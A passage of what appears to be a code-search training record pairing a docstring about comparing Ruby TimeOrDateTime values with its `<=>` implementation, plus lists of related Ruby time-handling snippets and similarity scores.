"def timestamp(now)\n (now - @start_time) * 1000\n end",
"def to_seconds\n @atom * self.factor\n end",
"def second\n self.to_duration.to_units(:hour, :minute, :second).fetch(:second)\n end",
"def to_sec\n return (self / Graphics.frame_rate).to_i + 1\n end",
"def get_microsecond(datestr,hourstr)\n # add timezone +08:00\n strt=datestr+\" \"+hourstr+\":00:00+08:00\"\n # strftime('%Q') Number of milliseconds since 1970-01-01 00:00:00 UTC\n DateTime.parse(strt).strftime('%Q')\n end",
"def seconds_to_micros(seconds)\n seconds * 1_000_000\nend",
"def to_f\n @seconds.to_f\n end",
"def time\n start_time = Time.now.to_f\n yield\n end_time = Time.now.to_f\n return end_time - start_time\n end",
"def time\n @time ||= Time.at( timestamp / 1_000_000.0 )\n end",
"def cpu_time\n @cpu_time_finish - @cpu_time_start\n end",
"def to_seconds\n (@total / @fps)\n end",
"def to_seconds\n (@total / @fps)\n end",
"def time_as_human\n return Knj::Strings.secs_to_human_time_str(self.time_total, :secs => false)\n end",
"def duration\n (Time.now.to_f - @start) * 1000\n end",
"def duration\n raw_duration.to_f/time_scale\n end"
] |
[
"0.806098",
"0.7726769",
"0.7701477",
"0.75633913",
"0.74346584",
"0.73760957",
"0.73507106",
"0.73321253",
"0.73321253",
"0.7023275",
"0.6997538",
"0.6992963",
"0.69644463",
"0.6959251",
"0.6857265",
"0.684026",
"0.68213004",
"0.6815042",
"0.67913824",
"0.6758588",
"0.6684607",
"0.66775084",
"0.66506195",
"0.6646274",
"0.66184115",
"0.661617",
"0.66119796",
"0.6593892",
"0.65900433",
"0.65680337",
"0.65625507",
"0.6561532",
"0.65202063",
"0.648816",
"0.64792913",
"0.6470084",
"0.6470084",
"0.6470084",
"0.6465995",
"0.64639145",
"0.64639145",
"0.64579856",
"0.6423224",
"0.6387507",
"0.6380678",
"0.6366528",
"0.63378733",
"0.63278985",
"0.6324868",
"0.63222903",
"0.6303189",
"0.626019",
"0.6259079",
"0.62528527",
"0.62438303",
"0.62394124",
"0.6233256",
"0.62173146",
"0.6215227",
"0.620306",
"0.62010974",
"0.62010974",
"0.6197582",
"0.6175917",
"0.617309",
"0.61694217",
"0.6165391",
"0.6164179",
"0.6163692",
"0.61596197",
"0.61548954",
"0.6147941",
"0.6147655",
"0.61443335",
"0.6132598",
"0.61297035",
"0.61297035",
"0.61275643",
"0.61275643",
"0.61275643",
"0.61229354",
"0.6114158",
"0.6094",
"0.6077168",
"0.6076676",
"0.60746217",
"0.6071845",
"0.6070796",
"0.606699",
"0.6059359",
"0.60546106",
"0.60531497",
"0.6051198",
"0.6048585",
"0.6046103",
"0.60328215",
"0.60328215",
"0.60225445",
"0.60177165",
"0.60150427"
] |
0.732815
|
9
|
Compares this TimeOrDateTime with another Time, DateTime, timestamp (Integer) or TimeOrDateTime. Returns 1, 0 or +1 depending whether the receiver is less than, equal to, or greater than timeOrDateTime. Returns nil if the passed in timeOrDateTime is not comparable with TimeOrDateTime instances. Comparisons involving a DateTime will be performed using DateTime. Comparisons that don't involve a DateTime, but include a Time will be performed with Time. Otherwise comparisons will be performed with Integer.
|
def <=>(timeOrDateTime)
return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||
timeOrDateTime.is_a?(Time) ||
timeOrDateTime.is_a?(DateTime) ||
timeOrDateTime.respond_to?(:to_i)
unless timeOrDateTime.is_a?(TimeOrDateTime)
timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)
end
orig = timeOrDateTime.to_orig
if @orig.is_a?(DateTime) || orig.is_a?(DateTime)
# If either is a DateTime, assume it is there for a reason
# (i.e. for its larger range of acceptable values on 32-bit systems).
to_datetime <=> timeOrDateTime.to_datetime
elsif @orig.is_a?(Time) || orig.is_a?(Time)
to_time <=> timeOrDateTime.to_time
else
to_i <=> timeOrDateTime.to_i
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.is_a?(TimestampWithOffset) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n elsif @orig.is_a?(TimestampWithOffset) || orig.is_a?(TimestampWithOffset)\n to_timestamp_with_offset.timestamp <=> timeOrDateTime.to_timestamp_with_offset.timestamp\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def compare_with_coercion(other)\n # we're avoiding Time#to_datetime and Time#to_time because they're expensive\n if other.class == Time\n compare_without_coercion(other)\n elsif other.is_a?(Time)\n compare_without_coercion(other.to_time)\n else\n to_datetime <=> other\n end\n end",
"def before_Time_or_Date(time_or_date, options={})\n field = by_star_field_class(options)\n lte(field => time_or_date)\n end",
"def initialize(timeOrDateTime)\n @time = nil\n @datetime = nil\n @timestamp = nil\n \n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n \n # Avoid using the slower Rational class unless necessary.\n nsec = RubyCoreSupport.time_nsec(@time)\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n \n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? \n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0\n @orig = @datetime\n else\n @timestamp = timeOrDateTime.to_i\n \n if !RubyCoreSupport.time_supports_64bit && (@timestamp > 2147483647 || @timestamp < -2147483648 || (@timestamp < 0 && !RubyCoreSupport.time_supports_negative))\n raise RangeError, 'Timestamp is outside the supported range of Time on this platform'\n end\n \n @orig = @timestamp\n end\n end",
"def <=>(other)\n case other\n when Time\n cmp = @tv_sec <=> other.tv_sec\n return cmp unless cmp == 0\n return @tv_usec <=> other.tv_usec\n else\n return nil\n end\n end",
"def compare time_1, time_2\n return 1 if time_1.hour > time_2.hour\n return -1 if time_1.hour < time_2.hour\n return 1 if time_1.minute > time_2.minute\n return -1 if time_1.minute < time_2.minute\n\n 0\n end",
"def eql_with_coercion(other)\n # if other is an ActiveSupport::TimeWithZone, coerce a Time instance from it so we can do eql? comparison\n other = other.comparable_time if other.respond_to?(:comparable_time)\n eql_without_coercion(other)\n end",
"def before?(date_or_time)\n self < date_or_time\n end",
"def ==(other)\n self.same_time?(other)\n end",
"def <=>(other)\n @date_time_value <=> other.to_datetime\n end",
"def <=>(datetime)\n case datetime\n when Integer\n if ((d = (jd <=> datetime)) == 0)\n (hour == 0 and min == 0 and sec == 0 and usec == 0) ? 0 : 1\n else\n d\n end\n when Float\n diff = jd+fract - datetime\n if diff.abs <= 1.15740740740741e-011\n 0\n else\n diff > 0.0 ? 1 : -1\n end\n when self.class\n ((d = super) == 0) && ((d = (hour <=> datetime.hour)) == 0) && ((d = (min <=> datetime.min)) == 0) && ((d = (sec <=> datetime.sec)) == 0) && ((d = (usec <=> datetime.usec)) == 0)\n d\n else\n raise TypeError, \"d should be #{self.class}, Float, or Integer\"\n end\n end",
"def ==(datetime)\n return false unless DateTime === datetime\n super and hour == datetime.hour and min == datetime.min and sec == datetime.sec and usec == datetime.usec \n end",
"def initialize(timeOrDateTime, ignore_offset = true)\n @time = nil\n @datetime = nil\n @timestamp = nil\n\n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n\n # Avoid using the slower Rational class unless necessary.\n nsec = @time.nsec\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n\n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? || !ignore_offset\n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0 || !ignore_offset\n @orig = @datetime\n else\n @timestamp = timeOrDateTime.to_i\n @orig = @timestamp\n end\n end",
"def <=>(value)\n time.to_time <=> value.to_time\n end",
"def <=>(o)\n start_time <=> o.start_time rescue 0\n end",
"def eql?(todt)\n todt.kind_of?(TimeOrDateTime) && to_orig.eql?(todt.to_orig)\n end",
"def eql?(todt)\n todt.kind_of?(TimeOrDateTime) && to_orig.eql?(todt.to_orig)\n end",
"def eql?(todt)\n todt.kind_of?(TimeOrDateTime) && to_orig.eql?(todt.to_orig) \n end",
"def initialize(timeOrDateTime, ignore_offset = true)\n @time = nil\n @datetime = nil\n @timestamp = nil\n @timestamp_with_offset = nil\n\n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n\n # Avoid using the slower Rational class unless necessary.\n nsec = @time.nsec\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n\n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? || !ignore_offset\n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0 || !ignore_offset\n @orig = @datetime\n elsif timeOrDateTime.is_a?(TimestampWithOffset)\n @timestamp_with_offset = timeOrDateTime\n\n # The timestamp is always in UTC. To ignore the offset, a local\n # timestamp is created by adding the offset to the timestamp.\n @timestamp_with_offset = TimestampWithOffset.new(@timestamp_with_offset.timestamp + @timestamp_with_offset.utc_offset, 0) unless @timestamp_with_offset.utc_offset == 0 || !ignore_offset\n\n @orig = @timestamp_with_offset\n else\n @timestamp = timeOrDateTime.to_i\n @orig = @timestamp\n end\n end",
"def format(time_or_datetime)\n formatter.call with_offset(time_or_datetime)\n end",
"def after?(date_or_time)\n self > date_or_time\n end",
"def valid_time_or_date?(value)\n value.is_a?(Time) || value.is_a?(Date) || value.is_a?(ActiveSupport::TimeWithZone)\n end",
"def contains?(date_or_time)\n \t# TODO We need to make sure time zones are properly handled, probably!\n\n \tstarts_on <= date_or_time && date_or_time < ends_on\n end",
"def ==(other)\n self.hour == other.hour && self.minute == other.minute\n end",
"def <=>(other)\n case other\n when self.class\n # compare chronologically\n self.first <=> other.first\n when NLTime::Entity\n # compare chronologically\n if other.class.nltime_implies?(self.class) or\n self.class.nltime_implies?(other.class) # test if these are related\n \n case self.first <=> other.first\n when -1\n case self.last <=> other.last\n when -1: -1 # before\n when +1, 0: 0 # overlap\n end\n when +1\n case self.last <=> other.last\n when +1: 1 # after\n when -1, 0: 0 # overlap\n end\n when 0: 0 # overlap at 'first'\n end\n end\n else\n # not related, compare numerically\n if items = coerce(other)\n items.last <=> items.first\n elsif items = other.coerce(self)\n items.first <=> items.last\n end\n end\n end",
"def <=>(other)\n if start_time < other.start_time\n 1\n elsif start_time > other.start_time\n -1\n elsif start_time == other.start_time\n 0\n end\n end",
"def same_time?(other)\n return false unless self.b == other.b\n return true if self.n.zero? && other.n.zero?\n self_div = Rational(self.n, self.d)\n other_div = Rational(other.n, other.d)\n self_div == other_div\n end",
"def <=>(other)\n\t\tpriority_compare = self.priority <=> other.priority\n\t\tif priority_compare != 0 \n\t\t\treturn priority_compare\n\t\tend\n\t\treturn self.query_time <=> other.query_time\n\tend",
"def <=>(o)\n return 1 if o.nil?\n Time.parse(self.sent_at) <=> Time.parse(o.sent_at)\n end",
"def same?(other)\n other.hour == @hour and other.minute == @minute and other.second == @second and other.millis == @millis\n end",
"def time_right_now? time\n time_now_with_resetted_date = reset_date_for_time_now\n time_with_resetted_date = reset_date_for_time time\n (time_now_with_resetted_date <=> time_with_resetted_date) == Timeable::TIME_COMPARE_RESULTS[:both_sides_same_time]\n end",
"def compare(other)\n other.nil? or @value.send(operator, other)\n end",
"def <(other)\n if other.is_a?(Saulabs::Reportable::ReportingPeriod)\n return @date_time < other.date_time\n elsif other.is_a?(Time) || other.is_a?(DateTime)\n @date_time < parse_date_time(other)\n else\n raise ArgumentError.new(\"Can only compare instances of #{self.class.name}\")\n end\n end",
"def comparison(comparison)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = TimeRef.new(Native.Segment_comparison(@handle.ptr, comparison))\n result\n end",
"def <=>(other)\n utc <=> other\n end",
"def includes(time)\n return (@beginTime < time && time < @endTime) ;\n end",
"def <(other)\n return true if self.hour < other.hour\n return false if self.hour > other.hour\n\n self.minute < other.minute\n end",
"def match_time(freetime)\n if (freetime.start.between?(self.start, self.end)) && (freetime.end.between?(self.start, self.end))\n return Freetime.new(start: freetime.start, end: freetime.end)\n elsif freetime.end.between?(self.start, self.end)\n return Freetime.new(start: self.start, end: freetime.end)\n elsif freetime.start.between?(self.start, self.end)\n return Freetime.new(start: freetime.start, end: self.end)\n elsif self.start.between?(freetime.start, freetime.end) && (self.end.between?(freetime.start, freetime.end))\n return Freetime.new(start: self.start, end: self.end)\n elsif self.end.between?(freetime.start, freetime.end)\n return Freetime.new(start: freetime.start, end: self.end)\n elsif self.start.between?(freetime.start, freetime.end)\n return Freetime.new(start: self.start, end: freetime.end)\n else\n return nil\n end\n end",
"def time_value?(input)\n return input.is_a?(Time) || input.is_a?(Date)\n end",
"def ==(other)\n # If lexically invalid, use regular literal testing\n return super unless self.valid?\n\n case other\n when Literal::Time\n return super unless other.valid?\n # Compare as strings, as time includes a date portion, and adjusting for UTC\n # can create a mismatch in the date portion.\n self.object.new_offset.strftime('%H%M%S.%L') == other.object.new_offset.strftime('%H%M%S.%L')\n when Literal::DateTime, Literal::Date\n false\n else\n super\n end\n end",
"def days_equal_or_offset_by(time1, time2, offset)\n return true if time1 == time2\n\n days_between(time1, time2) == offset\n end",
"def test?(date_or_time)\n if fixed?\n resolve(date_or_time) == date_or_time\n elsif moving?\n resolve(date_or_time) == date_or_time\n else\n false\n end\n end",
"def <=>(other)\n seconds <=> TimeUtil.time_of_day(other).seconds\n end",
"def matches?(time=Time.now)\n\n time = as_time(time)\n\n return false unless sub_match?(time, :sec, @seconds)\n return false unless sub_match?(time, :min, @minutes)\n return false unless sub_match?(time, :hour, @hours)\n return false unless date_match?(time)\n true\n end",
"def active_parse_and_set_comparison_time(comparison, time)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.RunEditor_active_parse_and_set_comparison_time(@handle.ptr, comparison, time)\n result\n end",
"def ==(comparison_object)\n comparison_object.equal?(self) ||\n (comparison_object.instance_of?(self.class) && \n @note == comparison_object.note &&\n @duration == comparison_object.duration)\n end",
"def contains?(date_or_time)\n starts_on <= date_or_time && date_or_time < ends_on\n end",
"def _as_of(time)\n self.class.as_of(time).where(:id => self.id)\n end",
"def _as_of(time)\n self.class.as_of(time).where(id: self.id)\n end",
"def bson_type\n ::Time::BSON_TYPE\n end",
"def eql?(other)\n return self.to_i == other.to_i && self.usec == other.usec\n end",
"def <=>(other)\r\n name_match = @userId <=> other.userId\r\n datetime_match = @inOutDateTime <=> other.inOutDateTime\r\n \r\n (name_match==0) ? (datetime_match==0 ? (@inout <=> other.inout) : datetime_match) : name_match\r\n end",
"def apply_validations_for_time\n flex_column_class.validates_each field_name do |record, attr, value|\n record.errors.add(attr, \"must be a Time\") if value && (! value.kind_of?(Time))\n end\n end",
"def type_literal_generic_time(column)\n column[:only_time] ? :time : :datetime\n end",
"def check_if_consistent_times(starting_hour, default_time_hour, ending_hour)\n\t\t(starting_hour <= default_time_hour) && (default_time_hour <= ending_hour)\n\tend",
"def meets_temporal_constraints?(time, &block)\n !find_failed_temporal_constraint(time, &block) &&\n !find_failed_occurence_constraint(true, &block)\n end",
"def in_time_range?(time)\n time = Time.parse(time) if ! time.is_a?(Time)\n time_range.cover?(time)\n end",
"def relevant_time?\n\t\tself.start <= DateTime.now && self.end >= DateTime.now\n\t\t# (self.start.hour <= DateTime.now.hour) (self.start.minute <= DateTime.now.minute) && (self.end.hour >\tDateTime.now.hour) \n\tend",
"def <=> other\n compar1=autores <=> other.autores\n compar2=fecha<=>other.fecha\n \n if compar1 == 0\n return compar2\n elsif compar2==0\n return titulo<=>other.titulo\n else\n return compar1\n end\n \n end",
"def times_effectively_equal(time1, time2, seconds_interval = 1)\n (time1 - time2).abs <= seconds_interval\n end",
"def true_time( time_object )\n hours_to_sec = time_object.utc.hour * 60 * 60\n minutes_to_sec = time_object.utc.min * 60\n sec_to_sec = time_object.utc.sec\n hours_to_sec + minutes_to_sec + sec_to_sec\n end",
"def min\n if @time\n @time.min\n elsif @datetime\n @datetime.min\n else\n to_time.min\n end\n end",
"def min\n if @time\n @time.min\n elsif @datetime\n @datetime.min\n else\n to_time.min\n end\n end",
"def min\n if @time\n @time.min\n elsif @datetime\n @datetime.min\n else\n to_time.min\n end\n end",
"def compare(one, other)\n other_rem = other.remaining_same_calls\n one_rem = one.remaining_same_calls\n if one_rem == other_rem\n # Note: the line below is correctly reversing the operands\n # This is done to have the larger period ordered before the\n # shorter ones when the remaining hits are the same.\n other.period.granularity <=> one.period.granularity\n elsif other_rem == -1 || one_rem < other_rem\n -1\n else\n 1\n end\n end",
"def include?(*args_p)\n if (args_p[0].kind_of?(Time))\n args = args_p[0].strftime('%M %H %d %m %w').split(%r!\\s+!)\n else\n args = args_p.flatten.map { |elt| elt.to_s }.join(' ').strip\n args = self.numerise(args)\n args = args.split(%r!\\s+!)[0, 5]\n unless (args.all? { |elt| elt =~ %r!^\\d+$! })\n raise ArgumentError.new('invalid time for comparison: ' +\n args_p.inspect)\n end\n end\n args.each_with_index do |elt,i|\n return false unless (@ordered_fields[i].include?(elt.to_i))\n end\n return true\n end",
"def times_effectively_equal(time1, time2, seconds_interval = 1)\n (time1.to_i - time2.to_i).abs <= seconds_interval\n end",
"def >(other)\n return true if self.hour > other.hour\n return false if self.hour < other.hour\n\n self.minute > other.minute\n end",
"def includesTime(time_format)\r\n @times.empty? or @times.any? { |start,finish| start <= time_format && time_format < finish}\r\n end",
"def time_before_now? time\n time_now_with_resetted_date = reset_date_for_time_now\n time_with_resetted_date = reset_date_for_time time\n (time_now_with_resetted_date <=> time_with_resetted_date) == Timeable::TIME_COMPARE_RESULTS[:right_side_later]\n end",
"def is_before?(other_time, leeway = 5)\n other_time += leeway\n self <= other_time\n end",
"def is_time(time)\n return Integer(time) rescue\n return Date.iso8601(time) rescue\n false\nend",
"def time_constraint\n return @time_constraint\n end",
"def compare(other, accuracy)\n if accuracy == :year\n year <=> other.year\n elsif accuracy == :month\n compare_date_components(other, :month, :year)\n elsif accuracy == :day\n compare_date_components(other, :day, :month)\n elsif [:hour, :min, :sec].include? accuracy\n change(accuracy => send(accuracy)) <=> other.change(accuracy => other.send(accuracy)) \n end\n end",
"def include? date_time\n return false if !(date_time.is_a?(String) or date_time.is_a?(DateTime))\n helper = DateTimeIndexHelper\n if date_time.is_a?(String)\n date_precision = helper.determine_date_precision_of date_time\n date_time = helper.date_time_from date_time, date_precision\n end\n\n result = @data.bsearch {|d| d[0] >= date_time }\n result[0] == date_time\n end",
"def time_safe_equals(a, b)\n a.hash == b.hash && a == b\n end",
"def compare(a, b)\n if a.nil? || b.nil?\n if a.nil? && b.nil?\n return 0\n end\n return -1 if a.nil?\n return 1\n end\n b.try(:value) <=> a.try(:value)\n end",
"def apply_validations_for_datetime\n flex_column_class.validates_each field_name do |record, attr, value|\n record.errors.add(attr, \"must be a Time or DateTime\") if value && (! value.kind_of?(Time)) && (value.class.name != 'DateTime')\n end\n end",
"def set_update_time(time = last_modified_date)\n self.last_updated__c = ((last_updated__c and time < last_updated__c) ? last_updated__c : time) # fails migration ?\n# self.last_updated__c = self.last_modified_date # for migration\n end",
"def ==(other)\n if other.is_a?(Saulabs::Reportable::ReportingPeriod)\n @date_time == other.date_time && @grouping.identifier == other.grouping.identifier\n elsif other.is_a?(Time) || other.is_a?(DateTime)\n @date_time == parse_date_time(other)\n else\n raise ArgumentError.new(\"Can only compare instances of #{self.class.name}\")\n end\n end",
"def set_time_as_datetime(options)\n options[:type] = DateTime if options[:type] == Time\n end",
"def <=>(other)\n self_start = self.start_date\n other_start = other.start_date\n self_end = self.end_date \n other_end = other.end_date\n return self_start <=> other_start if self_start && other_start\n return self_end <=> other_end if self_end && other_end\n return self_start <=> other_end if self_start && other_end\n return self_end <=> other_start if self_end && other_start\n return 0\n end",
"def <=>(other)\n if other.nil?\n 1\n else\n self.date <=> other.date\n end\n end",
"def compare(a, b)\n case\n when a.nil?\n b.nil? ? 0 : 1\n when b.nil?\n -1\n else\n a <=> b\n end\n end",
"def convert_to_time(obj)\n case\n when obj.respond_to?(:seconds)\n obj.seconds >= MINIMUM_SECONDS && obj.seconds <= MAXIMUM_SECONDS ? make_time( obj.seconds ) : nil\n when obj.instance_of?(Time)\n make_time( obj.hour.hours + obj.min.minutes + obj.sec.seconds )\n else\n nil\n end\n end",
"def as_of(time)\n self.class.as_of(time).where(:id => self.id).first!\n end",
"def time_tag(date_or_time, *args, &block)\n options = args.extract_options!\n format = options.delete(:format) || :long\n content = args.first || I18n.l(date_or_time, format: format)\n\n content_tag(\"time\", content, options.reverse_merge(datetime: date_or_time.iso8601), &block)\n end",
"def times_faster_than(&other)\n reason, value = ___number_reason_and_value___\n raise \"'times_faster_than' is only for assertions\" unless reason == :is_at_least\n raise \"Already asserting %sx comparison\" % [@expect_cmp] if @expect_cmp\n raise ArgumentError, \"must provide a proc\" unless other\n @expect_cmp = Float(value)\n @cmp_proc = other\n @number_for = @number_val = nil\n self\n end",
"def timeRangeCheck(key, time)\n\t\tvalue = self.fetch(key.downcase, nil)\n\t\tif value and value =~ /(\\d\\d)(\\d\\d)(\\d\\d)(\\d\\d)/\n\t\t\tstartHour = $1.to_i\n\t\t\tstartMin = $2.to_i\n\t\t\tendHour = $3.to_i\n\t\t\tendMin = $4.to_i\n\t\t\thour = time.hour\n\t\t\tmin = time.min\n\t\t\tif startHour < endHour or (startHour == endHour and startMin < endMin)\n\t\t\t\treturn ((hour > startHour or (hour == startHour and min >= startMin)) and\n\t\t\t\t (hour < endHour or (hour == endHour and min < endMin)))\n\t\t\telse\n\t\t\t\treturn ((hour > startHour or (hour == startHour and min >= startMin)) or\n\t\t\t\t (hour < endHour or (hour == endHour and min < endMin)))\n\t\t\tend\n\t\tend\n\t\treturn true\n\tend",
"def <=>(other_tc)\n if framerate_in_delta(fps, other_tc.fps)\n self.total <=> other_tc.total\n else \n raise WrongFramerate, \"Cannot compare timecodes with different framerates\"\n end\n end",
"def <=>(other_tc)\n if framerate_in_delta(fps, other_tc.fps)\n self.total <=> other_tc.total\n else \n raise WrongFramerate, \"Cannot compare timecodes with different framerates\"\n end\n end",
"def <=> other\n high_place, low_place = *Player.find(self.players)\n .map { |ply| ply.place }.sort\n high_other, low_other = *Player.find(other.players)\n .map { |ply| ply.place }.sort\n cmp = low_place <=> low_other\n return cmp if cmp != 0\n cmp = high_place <=> high_other\n return cmp if cmp != 0\n return self.round <=> other.round\n end",
"def after?(other)\n time = other.is_a?(Numeric) ? other : other.end\n self.begin >= time\n end",
"def <=>(outra_hora)\r\n @ts <=> outra_hora.ts\r\n end",
"def eql?(other)\n other.class == self.class &&\n other.logical_path == self.logical_path &&\n other.mtime.to_i == self.mtime.to_i &&\n other.digest == self.digest\n end",
"def time_tag(date_or_time, *args, &block)\n options = args.extract_options!\n format = options.delete(:format) || :long\n content = args.first || I18n.l(date_or_time, :format => format)\n datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.iso8601\n\n content_tag(:time, content, options.reverse_merge(:datetime => datetime), &block)\n end",
"def <=>(other)\n return -1 if mtime < other.mtime\n return 1 if mtime > other.mtime\n 0\n end",
"def __evolve_time__\n { \"$gte\" => min.__evolve_time__, \"$lte\" => max.__evolve_time__ }\n end",
"def time_is_audience_specific?(person_or_type = nil)\n start_time(person_or_type) != start_time || end_time(person_or_type) != end_time\n end"
] |
[
"0.7772341",
"0.7647143",
"0.6072132",
"0.57692647",
"0.5685252",
"0.56831145",
"0.55960715",
"0.5519526",
"0.53915846",
"0.52137005",
"0.5139923",
"0.5077324",
"0.5059307",
"0.5044536",
"0.50103",
"0.49811935",
"0.48791724",
"0.48791724",
"0.48429343",
"0.48200956",
"0.47263888",
"0.4688602",
"0.46624538",
"0.46623996",
"0.46457294",
"0.46030104",
"0.46021575",
"0.45987725",
"0.45851246",
"0.45337817",
"0.4516695",
"0.45114934",
"0.45012492",
"0.44392514",
"0.44230792",
"0.44182336",
"0.4397696",
"0.43960518",
"0.4390974",
"0.43782574",
"0.437792",
"0.4376471",
"0.4376229",
"0.43752965",
"0.43683916",
"0.43629125",
"0.43579763",
"0.43229464",
"0.43135214",
"0.43051043",
"0.4291331",
"0.42450643",
"0.42242563",
"0.4204091",
"0.42032748",
"0.42008698",
"0.41981244",
"0.41935697",
"0.41910648",
"0.41885024",
"0.4182417",
"0.41808718",
"0.41767228",
"0.41767228",
"0.41767228",
"0.41624367",
"0.41515046",
"0.4151177",
"0.41487712",
"0.41370052",
"0.41288167",
"0.41247085",
"0.4119569",
"0.4114888",
"0.41099826",
"0.41026926",
"0.4099099",
"0.40888238",
"0.40887856",
"0.4073313",
"0.4072684",
"0.40718222",
"0.40709838",
"0.40691948",
"0.40641895",
"0.40641314",
"0.4049965",
"0.40442464",
"0.40422663",
"0.40374792",
"0.40346408",
"0.40346408",
"0.40316728",
"0.4030086",
"0.40264446",
"0.40122753",
"0.40075827",
"0.4006076",
"0.4001768",
"0.40017372"
] |
0.7586256
|
2
|
Adds a number of seconds to the TimeOrDateTime. Returns a new TimeOrDateTime, preserving what the original constructed type was. If the original type is a Time and the resulting calculation goes out of range for Times, then an exception will be raised by the Time class.
|
def +(seconds)
if seconds == 0
self
else
if @orig.is_a?(DateTime)
TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))
else
# + defined for Time and Integer
TimeOrDateTime.new(@orig + seconds)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def +(seconds)\n if seconds == 0\n self\n else\n if @orig.is_a?(DateTime)\n TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))\n else\n # + is defined for Time, TimestampWithOffset and Integer.\n TimeOrDateTime.new(@orig + seconds)\n end\n end\n end",
"def add_with_convert(seconds)\n if seconds == 0\n self\n else\n if @orig.is_a?(DateTime)\n TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))\n else\n # A Time or timestamp.\n result = to_i + seconds\n \n if ((result > 2147483647 || result < -2147483648) && !RubyCoreSupport.time_supports_64bit) || (result < 0 && !RubyCoreSupport.time_supports_negative)\n result = TimeOrDateTime.new(to_datetime + OffsetRationals.rational_for_offset(seconds))\n else\n result = TimeOrDateTime.new(@orig + seconds)\n end\n end\n end\n end",
"def +(seconds)\n Timestamp.new(@time + seconds, nil)\n end",
"def +(seconds)\n TzTime.new(time + seconds, @zone)\n end",
"def add_secs(secs = 1)\n secs = secs.to_i\n cur_secs = @t_sec\n next_sec = cur_secs + secs\n \n if next_sec >= 60 or next_sec <= -60\n mins = (next_sec.to_f / 60.0).floor\n @t_sec = next_sec - (mins * 60)\n self.add_mins(mins)\n else\n @t_sec = next_sec\n end\n \n return self\n end",
"def since(seconds)\n VoltTime.new.set_time(@time + seconds)\n end",
"def since(seconds)\n self + seconds\n rescue\n to_datetime.since(seconds)\n end",
"def seconds(num)\n t = current_time + num\n {\n type: :datetime,\n value: t.iso8601\n }\n end",
"def add(time)\n newDuration = self.dup() ;\n return self.inc(time) ;\n end",
"def advance_seconds(secs)\n self + secs\n end",
"def addTime(secondNb)\n @chrono.addTime(secondNb)\n return self\n end",
"def inc(time)\n if(time.is_a?(Numeric)) then\n return self.addSec(time) ;\n elsif(time.is_a?(TimeDuration)) then\n return self.addSec(time.sec()) ;\n else\n raise \"Illegal inc format(\" + time.inspect() + \")\"\n end\n end",
"def add_seconds(date, secs)\n date + Rational(secs, 60 * 60 * 24)\n end",
"def addSeconds time_in_sec_1, time_in_sec_2\n \n if time_in_sec_1 == -1 \n return time_in_sec_2 \n end\n if time_in_sec_2 == -1 \n return time_in_sec_1 \n end\n \n return time_in_sec_1.to_i + time_in_sec_2.to_i\n end",
"def append_time(value)\n time = case value\n when Time\n value\n else\n begin\n Time.parse(value)\n rescue\n raise(ArgumentError, \"Cannot parse argument `#{value}` to Time.\")\n end\n end\n\n _append_time(time.hour, time.min, time.sec, time.usec)\n end",
"def +(seconds)\n Span.new(self.begin + seconds, self.end + seconds)\n end",
"def advance(seconds:)\n @time += (seconds.to_i * 1_000)\n end",
